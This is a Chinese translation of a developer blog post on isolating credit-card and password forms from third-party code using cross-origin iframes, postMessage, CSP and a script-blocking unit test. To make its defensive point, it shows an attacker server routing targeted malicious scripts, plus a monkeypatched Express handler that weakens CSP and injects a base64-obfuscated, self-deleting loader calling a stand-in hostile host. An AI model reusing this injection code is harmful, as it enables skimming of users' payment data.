第2部分:如何阻止我從您的網站收集信用卡號碼和密碼

Translated by NotSurprised
Mar 7, 2018

最近有寫了一篇文章,描述了我如何散布惡意代碼,以非常難以檢測的方式從數千個網站收集信用卡號和密碼。

這個帖子所收到的評論讓我十分愉悅,多數人表達了“令人不寒而慄”、“令人不安”和“非常恐怖”等情緒。(就像在舞池裡得到讚美一樣)

作為後續的文章,我想我該停止加深恐懼,並提出一些實際的建議。

簡短的版本

  • 沒有必要嘗試和避免第三方代碼
  • 在收集或顯示敏感訊息時,請將此信息擷取到不包含第三方JavaScript的單獨HTML中
  • 在iframe中顯示文檔
  • 從另一個域上的靜態文件伺服器上提供文檔

您也可以考慮完全避免使用第三方登錄和使用第三方程式(插件)來收集和處理信用卡訊息等敏感數據。

我在這篇文章中提出的建議只適用於非常有限的敏感訊息(密碼、信用卡號碼等)且可以敏感訊息封鎖的網站。如果您在聊天應用程式、電子郵件客戶端或GUI數據庫上工作,那麼一切都可能是敏感訊息,這點恕我無計可施。

十八倍的版本

我認為居安思危是一個好的開始。

我建議您思考一下,OnePlus 最近宣布

…一個惡意腳本被注入到支付頁面的代碼中,以便在進入時嗅探信用卡信息…惡意腳本間歇性地運作,直接從用戶的瀏覽器捕獲並發送數據… oneplus.net上的多達4萬個用戶可能受到事件影響

慘。


現在讓我們把這種模糊的恐懼感變成更具體的東西吧。

也許給一個場景描述是更為有用的…

我們想像第三方代碼是一個大杜賓。牠看起來很平靜、溫柔。但是在牠漆黑且不帶感情的眼睛裡,卻有著未知的危險閃爍著。讓我們十分慶幸我們沒有把我們喜愛的東西放在附近觸怒牠。

現在我把我們用戶的敏感訊息描繪成一個可愛且毫無防備的倉鼠。我們看著牠天真地舔著牠的小前腳,梳理著牠那笨拙的臉,在杜賓犬的尾巴處嬉鬧不已。

現在,如果你曾經與一個杜賓犬(我強烈推薦它)當過朋友,你可能知道牠們是美好、溫柔的生物,這並不與他們的惡名相符。但是,我相信你肯定會同意不該放杜賓犬與一個看起來和狗狗用的咀嚼玩具差不多的倉鼠單獨共處一室。

當然,也許你下班回家,有機會看到動物方城市中和平相處充滿愛的場面。而,也有可能你回家只能呼吸倉鼠生前曾經呼吸過的空氣,與一隻像在說“好了,現在可以上飯後甜點了嗎?”而把頭朝下看菜單的狗。


我不認為該把來自npm、GTM、DFP或任何其他地方的代碼貼上惡意的標籤。但是我建議,除非你能保證這個代碼的行為良好,否則讓它經手你的用戶敏感訊息是對自己的不負責任。

所以…這是我建議我們都採用的心態:敏感訊息第三方代碼應該隔離而不放在一起。

例如:修復易受攻擊的網站

這個例子中的網站有一個常見的信用卡表格,它很容易受到惡意的第三方代碼的侵害,就像在那幾個非常大的電子商務網站上的那樣,你可能認為這些大網站的安全性更好。

好的,我知道,我的程式之路耽誤了我的設計天份。

所以這個頁面充滿了第三方代碼。它使用React,並且使用Create React App創建,所以在我開始做些甚麼之前它就先塞了我886 npm封包(認真)。

它也有Google Tag Manager(如果您不知道,GTM對於那些您從來沒有遇過的人來說是一個十分方便的攻擊方法,它可以在不妨礙代碼審查的情況下將JavaScript注入到您的網站中)。

為了讓這頁面更像樣,我還補了一個橫幅廣告(怒秀一波)。這是一個在網路上的廣告,所以自然需要1.5 MB的JavaScript來分出112個封包請求在11秒全面傾占CPU資源來加載一個反覆騎馬的信用卡gif動畫。

(場邊嘮叨:我對Google很失望,他們的開發者主張花費大量的時間教會我們如何快速地創建網頁,在這里和幾毫秒之內削減幾萬字節 - 這的確是很棒的東西。但他們允許他們的DFP廣告網路向用戶的設備發送幾兆字節,發出數百個網路請求,並在CPU上停留整整一秒。Google,我知道您有有顆能想出提供更智能,更快速的廣告投放方式的腦袋,您為什麼不用呢?)


好的,回到這篇的主題……顯然,我需要做的是從所有第三方代碼的骯髒的手中區隔出用戶的敏感信息 ; 我們希望以這種形式活在自己的小島上。

第一步:為縮略圖找一張漂亮的照片。第二步:編寫一個涉及帖子主題和選擇縮略圖的陳腐隱喻


現在我們正通過這篇文章的五分之二,我將開始實際描述一些方法。

  • 選項1:將信用卡表單移至其自己的文檔,不含第三方JavaScript,並將其作為單獨的頁面提供
  • 選項2:與選項1相同,但頁面在iframe中提供
  • 選項3:與選項2相同,但是父頁面和iframe通過相互通信 postMessage傳遞訊息

選項1:為敏感數據分頁

最簡單的事情就是創建一個沒有JavaScript的全新頁面。當用戶點擊“購買”時,我們會把它們轉送到下圖的新頁面視窗,而不是以一些柔順流暢(為了某些美學、使用觀感的理由)的形式載入在當前頁面:

不幸的是,因為我的網站的頁首,頁尾和導覽列都是React組件,所以我不能在這個非常陽春的頁面上使用它們。因此,您看到的“標題”是我完整標題的手動複製版,並沒有全部的常見功能。這只是一個藍色的矩形。

當用戶 填盡(in) 該表格(還是該說 填完(out) 該表單-為什麼對立的詞可以組出一樣的意思!?),他們會點擊提交,並重新轉址回到結賬流程的下一個步驟。這可能需要進行一些後端的修改,以比對用戶他們在跨頁面轉移時提交的數據。

為了保持這份文件的乾淨,我們應使用native form validation ,而不是JavaScript -  現有97%使用率,想只靠requiredpattern兩個屬性讓我們通過一個完整的JavaScript驗證應該還有很長一段的路要走。

如果你想看實際運用,這裡有一份筆記,裡面有一些no-js 正規表達式驗證和條件樣本。(預設的限制不多,但應該足夠表達用法了。)


我建議,如果你要這樣做,最好把它全部保存在一個文件中。

複雜是這部份最大的敵人(比以往任何時候都多)。上面例子中的HTML文件(加上<style>標籤中嵌入的CSS)約有100行; 由於它很小幾乎沒有網路請求,因此幾乎不可能受干擾而未被發現。

不幸的是,這種方法需要複製許多CSS。我後來想了很多,看了好幾種方法。他們只想要更多的程式碼,而防止重複程式碼的數量並不是他們的目標。

所以,我建議:儘管“不要重複已存程式碼”的口號是很好的目標,但不應該被視為必須不惜一切代價持之以恆的絕對原則。在一些像本篇描述的罕見情況下,重複的程式碼是兩個惡果中較小的一個。

最有用的規則是你知道什麼時候該打破它。

(我的新年的決心是嘗試讓事情聽起來更深刻,但實際上沒有說出任何實質內容。)

選項2:在iframe中重擊選項1

選項1固然是好的,但是從UI和UX的角度來看,這明顯是一大退步,而是你想要讓別人付錢之旅程的最後一個摩擦地方。

選項2通過截取表單並塞進iframe中來提供服務以解決此問題。

你可能會試圖做下面這樣的事情:

<iframe
  src="/credit-card-form.html"
  title="credit card form"
  height="460"
  width="400"
  frameBorder="0"
  scrolling="no"
/>

先別做傻事。

在這個例子中,父頁面和iframe的內容仍然可以自由地查看和交換。這就像把一個杜賓犬留在一個房間裡,而倉鼠在另一個房間裡,在他們之間有一扇門。但當杜賓犬變得飢餓的時候,牠可以簡單地推開。

所以我們需要做的是“沙箱”,即iframe。可是(我最近才知道)這與iframe 的sandbox屬性無關,因為這是用於保護iframe的父頁面。但我想從父頁面保護iframe的內容。

幸運的是,瀏覽器對來自不同來源的東西有著預設的不信任。這就是所謂的同源政策 [容我在這裡怒政治上嘴一波川普]。

正因為如此,只需從不同的網域加載frame就足以防止兩者之間的通訊。

<iframe
  src="https://different.domain.com/credit-card-form.html"
  title="credit card form"
  height="460"
  width="400"
  frameBorder="0"
  scrolling="no"
/>

如此就能實現動物方城市大和平共處了。

如果你想知道iframe中內容的可訪問性,這是個好問題,但你不用擔心。根據WebAIM的說法:“內聯框架沒有明顯的可訪問性問題。內聯框架的內容是依據它執行的位置(基於標記順序)讀取的,就好像它是父頁面中的內容一樣。


讓我們考慮填充表單後會發生什麼。用戶將在iframe中的表單中點擊提交按鈕,並且我想要轉址到頁面。但是,如果他們有不同的來源,這有可能嗎?

Yup,這就是target表單的屬性:

<form
  action="/pay-for-the-thing"
  method="post"
  target="_top"
>
  <!-- form fields -->
</form>

接下來他們還能怎樣?

因此,用戶可以將其敏感訊息輸入到與周圍頁面無縫接軌的表單中。然後當他們提交時,頂層頁面將被轉址以回應表單提交。

選項2是對安全性的一個巨大增強 - 我不再有一個落後的信用卡填寫型式。但是這仍然是在可用性上的退步。

理想的解決方案將不需要任何完整的頁面重定向

選項3:在框架和父頁面之間進行通訊

在我的示例網站中,我實際上希望保持信用卡數據的狀態,以及所購買產品的詳細訊息,並將所有訊息以一個AJAX的型式打包請求並提交。

這是非常容易的。我將使用postMessage將數據從表單發送到父頁面。

這是在iframe中提供的頁面…

<body>
  <form id="form">
    
    <!-- form stuff in here -->
    
  </form>

  <script>
    var form = document.getElementById('form');
    form.addEventListener('submit', function(e) {
      e.preventDefault();
      var payload = {
        type: 'bananas',
        formData: {
          a: form.ccname.value,
          b: form.cardnumber.value,
          c: form.cvc.value,
          d: form['cc-exp'].value,
        },
      };
      window.parent.postMessage(payload, 'https://mysite.com');
    });
  </script>
</body>

還記得var嗎?

…以及在父頁面(或者更具體地說,在首先請求iframe的React組件)中,我只是監聽來自iframe的訊息並相應地更新狀態:

class CreditCardFormWrapper extends PureComponent {
  componentDidMount() {
    window.addEventListener('message', ({ data }) => {
      if (data.type === 'bananas') {
        this.setState(data.formData);
      }
    });
  }

  render() {
    return (
      <iframe
        src="https://secure.mysite.com/credit-card-form.html"
        title="credit card form"
        height="460"
        width="400"
        frameBorder="0"
        scrolling="no"
      />
    );
  }
}

這個舉例是針對React客製的,但這個概念不是

如果iframe覺得自己很活躍,那麼我可以將onchange每個輸入的數據從表單發送到父項。

當iframe活躍時,沒有任何東西阻止父頁面進行驗證,並將有效性狀態發送回普通表單。這使我可以重新使用我的網站其他任何驗證邏輯。

[補充:根據在本篇評論中兩個留言者的建議,iFrame可以提交數據,而不轉址至父頁面,然後通訊成功/失敗的狀態使用postMessage返還給父頁面。這樣就沒有數據會被發送到父頁面。]

就是這樣!您的用戶敏感訊息可以安全地輸入到不同來源的iframe中,而不會被父頁面隱藏,但是獲取的數據仍然可以是應用程序狀態的一部分,這意味著使用者體驗不需要進行任何變動。


現在,您可能會認為將信用卡數據上傳到主頁面是巨大的失敗。這不是可供任何惡意代碼訪問嗎?

這個答案有兩個部分,我想不出一個簡單的方法來解釋它。抱歉。

我認為這是一個合理的風險,從駭客的角度來看更容易理解。想像一下,你的工作是想出一些可以在任何網站上運行的惡意代碼,尋找敏感訊息並將其發送到某個伺服器。每次你發送封包時,都會冒著被抓的危險。所以只發送你確定有價值的數據是最符合你的效益的。

如果當駭客是我的工作,我不會盲目傾聽message事件並發送我在其中發現的數據。尤其不是當有千千萬萬個網站正有十分脆弱的信用卡表單與整齊地標記輸入等待被我攻擊的時候。

答案的第二部分是,如果您擔心的惡意代碼只是一些通用代碼,它可能知道要在您的網站上收聽該message事件,並將信用卡號碼取出。像這種完全針對您的網站專門編寫代碼的想法,那你被攻擊是他的努力應得的回報…

目標和通用的惡意代碼

到目前為止我已經描述了使用通用惡意代碼的攻擊 也就是說,代碼不知道它運行的是什麼網站,它只是尋找,收集和發送敏感訊息給惡龍在火山地下室的邪惡巢穴。

另一方面,有針對性的惡意代碼是與您的網站專門針對而寫的代碼。它是由一個熟練的開發人員花了幾個星期完全熟悉你的DOM的每一個角落而集結成的結晶。

如果您的網站受到了有針對性的惡意代碼的攻擊,那就爆了。這情況沒有第二種可能。一定是你已經把所有東西都放在一個非常安全的iframe中,但是惡意代碼只會刪除iframe並用假表單替換它。攻擊者甚至可以更改網站上顯示的價格,可能會提供50%的折扣,並告訴用戶如果他們需要貨物,他們需要重新輸入信用卡詳細信息。這種非戰之罪也只好認了。

如果您的網站上有針對性的惡意代碼,那麼您最好還是彎下腰來撿朵鮮花聞一聞然後放鬆。你知道的,比起這些問題我們更應該專注於生活中的正面積極的東西。

這就是為什麼擁有內容安全策略非常重要。否則,攻擊者可以通過向邪惡的伺服器發送請求來大規模散布可升級到有針對性的代碼的通用惡意代碼(比如通過一個npm包)。

app.get('/analytics.js', (req, res) => {
  if (req.get('host').includes('acme-sneakers.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/acme-sneakers.js'));
  } else if (req.get('host').includes('corporate-bank.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/corporate-bank.js'));
  } else if (req.get('host').includes('government-secrets.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/government-secrets.js'));
  } else if (req.get('host').includes('that-chat-app.com')) {
    res.sendFile(path.join(__dirname, '../malicious-code/targeted/that-chat-app.js'));
  } else {
    res.sendFile(path.join(__dirname, '../malicious-code/generic.js'));
  }
});

在攻擊者的伺服器上

攻擊者可以自由更新並在閒暇時添加他們的針對性代碼。

你真的必須建好自己的CSP。


好吧,這是很粗糙的說法:使用postMessage發送敏感數據從一個iframe到父頁面只會稍微增加您的風險。通用惡意代碼顯然不太可能會截到這一點。而無論您做什麼,有針對性的代碼都會獲取用戶的信用卡數據。

(根據記錄,我不會在自己的小網站上使用選項1,2或3,我會讓專業人員處理我的信用卡數據,只提供Google / Facebook / Twitter登錄。你當然可以不要遵循這個建議,如果你的用戶不會註冊社交網站的成本大過你必須安全地獲取和存儲密碼的成本/風險。

其他點的脆弱性

你可能會認為,只要你按照上面的建議做,你就會是安全健康的。其實不然。我想到還有四個地方可能會遇到麻煩,我發誓要用社群的智慧來保持下面這些更新。

1.在伺服器上

我現在有一個超輕量級的HTML文件,準備用來擷取用戶的輸入而不被偷取。我只需要把它放置在某個地方,以便它可以從一個單獨的網域中提供服務。

也許我會在某處啟動一個簡單的Node伺服器。我只是添加一個小log包…

哦,來吧。204包是吧?

好的,204是很多,但是你可能想知道在只服務於文件的伺服器上運行的程式碼是如何危害到在瀏覽器中所輸入的用戶數據的?

那麼,問題就是任何npm包中的任何程式碼都可以在你的伺服器上執行,包括處理網路流量的程式碼。

現在,我只是一個惡意開發者,我很容易被四個字母的單詞混淆像thiscall,但即使我可以完成將一個腳本注入outbound response,並允許它透過編輯CSP來訪問我的邪惡網域。

const fs = require('fs');
const express = require('express');

let indexHtml;
const originalResponseSendFile = express.response.sendFile;

express.response.sendFile = function(path, options, callback) {
  if (path.endsWith('index.html')) {
    // add my domain to the content security policy
    let csp = express.response.get.call(this, 'Content-Security-Policy') || '';
    csp = csp.replace('connect-src ', 'connect-src https://adxs-network-live.com ');

    express.response.set.call(this, 'Content-Security-Policy', csp);

    // inject a cheeky little self-destructing script
    if (!indexHtml) {
      indexHtml = fs.readFileSync(path, 'utf8');

      const script = `
        <script>
          var googleAuthToken = document.createElement('script');
          googleAuthToken.textContent = atob('CiAgICAgICAgY29uc3Qgc2NyaXB0RWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBzY3JpcHRFbC5zcmMgPSAnaHR0cHM6Ly9ldmlsLWFkLW5ldHdvcms/YWRfdHlwZT1tZWRpdW0nOwogICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NyaXB0RWwpOwogICAgICAgIHNjcmlwdEVsLnJlbW92ZSgpOyAvLyByZW1vdmUgdGhlIHNjcmlwdCB0aGF0IGZldGNoZXMKICAgICAgICBkb2N1bWVudC5zY3JpcHRzW2RvY3VtZW50LnNjcmlwdHMubGVuZ3RoIC0gMV0ucmVtb3ZlKCk7IC8vIHJlbW92ZSB0aGlzIHNjcmlwdAogICAgICAgIGRvY3VtZW50LnNjcmlwdHNbZG9jdW1lbnQuc2NyaXB0cy5sZW5ndGggLSAxXS5yZW1vdmUoKTsgLy8gYW5kIHRoZSBvbmUgdGhhdCBjcmVhdGVkIGl0CiAgICA=');
          document.body.appendChild(googleAuthToken);
        </script>
      `;

      indexHtml = indexHtml.replace('</body>', `${script}</body>`);
    }

    express.response.send.call(this, indexHtml);
  } else {
    originalResponseSendFile.call(this, path, options, callback);
  }
};

什麼是紅色,鯡魚和一個名為“googleAuthToken”的變量?

當注入的腳本登陸瀏覽器時,它會從邪惡的伺服器加載一些(可能是有針對性的)惡意的JavaScript(這可能是因為CSP認為這是可以的),然後刪除它自己的所有痕跡。

上面的要點本身並沒有實際的用處(正如眼睛銳利的讀者都會注意到的那樣),一個真正的駭客不可能會像這樣直白的攻擊。我只是想說明你的伺服務器就是個狂野西部無法地帶,那裡的任何東西都有可能暴露用戶在瀏覽器中輸入的數據。

(如果你是一個package的作者,你可以考慮使用Object.freezeObject.definePropertywritable: false來鎖定你的東西。)


實際上,可能有點牽強附會,認為有Node模塊明目張膽的做outbound requests確實太扯了 - 對我來說這也太容易被發現了。

但是,你是否真的想要創建一個不包含任何第三方代碼的表單,但讓第三方代碼能夠在將其發送給用戶之前進行修改?這是屬於你該考量的。

我的建議是從靜態文件伺服器提供這些“安全”的文件,或不要打斷來做任何這樣的事情。

2.發送到靜態文件服務器

是的,標題即是我們要更進的一步,但也同時是一個漏洞的名稱。

我是Firebase for static hosting的忠實粉絲,因為它的速度可以極盡所能的快,而且部署流程簡單的要命。

只需安裝firebase-tools從NPM和…哦不,我正在使用NPM來避免使用NPM。

好吧,深呼吸一下,也許這個正是那些美麗的zero-dependency NPM之一。

正在安裝…安裝…

耶穌在上,640包!

好,我放棄提出建議了,你現在只能靠自己惹。畢竟把你的HTML文件以某種方式放到伺服器這件事上。某個時候,我們都需要信任由陌生人寫的程式碼。

有趣的事實是:寫這篇文章讓我花了幾個星期。我正在進行最後的草稿,然後我再次安裝了Firebase工具來檢查是否真是640這數字。

647,真棒,我想知道這七個新軟體包是做什麼的?我想知道管理Firebase工具的人是否知道這七個新軟體包的作用?我想知道有沒有人知道他們的軟體包需要做什麼?

3. Webpack

您可能已經註意到,我沒有建議您將“安全的”HTML文件合併到build pipeline中(例如,共享CSS),儘管這樣可以解決程式碼重複問題。

這是因為即使是最簡單的Webpack pipeline中涉及的數百個包裹中任何一個都可能會修改building過程的輸出。Webpack自己需要367個包裹。像css-loader這樣的良性可能會增加246個。您可能會使用優秀的html-webpack-plugin來在您的索引文件中放置正確的CSS文件名,這將會在其上添加156個包。

再一次,我認為其中的任何一個都不太可能將腳本注入到縮小的輸出中。但是,要做出這麼大的努力來製作一個原始的,小的,手寫的,人類可讀的與倉鼠友好的HTML文件,然後在睡覺之前將其與幾百隻杜賓一起上線似乎是錯誤的。

4.無能的攻擊

最後一件防範措施所處理的是一些最危險如可以修改你編寫的任何代碼並取消你所提出的任何安全障礙的東西:從現在起開始6個月的新生孩子,你並不知道他們在做什麼。

這實際上是防止的最棘手的事情。我能想到的唯一的解決方案是“單元測試”,確保這些“安全”文件中沒有外部腳本。

const fs = require('fs');
const path = require('path');
const { JSDOM } = require('jsdom');

it('should not contain any external scripts, ask David why', () => {
  const creditCardForm = fs.readFileSync(path.resolve(__dirname, '../public/credit-card-form.html'), 'utf8');

  const dom = new JSDOM(
    creditCardForm,
    { runScripts: 'dangerously' },
  );

  const scriptElementWithSource = dom.window.document.querySelector('script[src]');
  expect(scriptElementWithSource).toBe(null);
});

我允許<script>標籤沒有源碼(所以要inline code ),但阻擋具有src屬性的腳本標籤。我設置jsdom執行腳本,所以我可以捕捉到如果有人正在使用document.createElement()創建一個新的腳本元素。

至少在這種情況下,新的孩子實際上確實需要修改一個單元測試來添加一個腳本時,如果有那麼點運氣就可以啟動程式碼審查人員,這就足以檢視這個修改。

在已發布的安全HTML文件上運行這種性質的檢查也是一個好主意。然後,您可以更加輕鬆地使用Firebase工具和Webpack之類的東西,並且知道這1200個軟體包中的任何一個編輯您輸出的情況極其罕見。

包起來

在我走之前,我想談談在過去幾周裡我聽到很多的感受 - 我建議開發者應該使用更少的npm。

我理解這背後的情感驅動:這些包裹有可能是有壞包裹的,所以越少的包裹必定越少問題。

但這不是一個好的建議。如果你的用戶數據的安全性完全依賴於你使用更少的npm包,你的東西就談不上安全。

這就像讓一部分的杜賓遠離開你的倉鼠而已。


如果我明天要開始一個新項目,創建一個處理高度敏感信息的網站,我會像我一個月前那樣,使用我的React,Webpack,Babel其他快樂夥伴。

我不在乎是否有一千個軟體包或者他們會不斷地改變成更多或者我永遠不知道其中一個是否含有惡意程式碼。

沒有一件事對我來會造成問題,因為我壓根不會把他們中的任何一個單獨留在教室裡與我的倉鼠獨處。


嘿,謝謝你的閱讀!一如既往,安全是一項團隊運動; 如果我說了一些愚蠢的話或給出不好的建議,請讓我知道,我會努力解決它的。如果你有一個好主意也請讓我知道,我會添加它進文章並假裝它是我的。

祝你有個美好的一天!